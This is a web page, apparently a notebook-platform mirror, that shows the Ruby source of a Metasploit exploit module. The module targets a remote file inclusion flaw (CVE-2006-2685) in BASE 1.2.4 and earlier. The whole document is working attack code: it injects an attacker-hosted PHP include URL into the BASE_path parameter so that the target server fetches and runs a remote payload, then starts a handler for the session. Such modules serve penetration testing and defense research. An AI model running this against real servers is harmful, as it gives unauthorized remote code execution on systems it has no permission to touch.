Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/base_qry_common.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::Remote::HttpServer::PHPInclude1112def initialize(info = {})13super(update_info(info,14'Name' => 'BASE base_qry_common Remote File Include',15'Description' => %q{16This module exploits a remote file inclusion vulnerability in17the base_qry_common.php file in BASE 1.2.4 and earlier.18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2006-2685' ],24[ 'OSVDB', '49366'],25[ 'BID', '18298' ],26],27'Privileged' => false,28'Payload' =>29{30'DisableNops' => true,31'Compat' =>32{33'ConnectionType' => 'find',34},35'Space' => 32768,36},37'Platform' => 'php',38'Arch' => ARCH_PHP,39'Targets' => [[ 'Automatic', { }]],40'DisclosureDate' => '2008-06-14',41'DefaultTarget' => 0))4243register_options(44[45OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/base/base_qry_common.php?BASE_path=!URL!"]),46])47end4849def php_exploit5051timeout = 0.0152uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))53print_status("Trying uri #{uri}")5455response = send_request_raw( {56'global' => true,57'uri' => uri,58},timeout)5960if response and response.code != 20061print_error("Server returned non-200 status code (#{response.code})")62end6364handler65end66end676869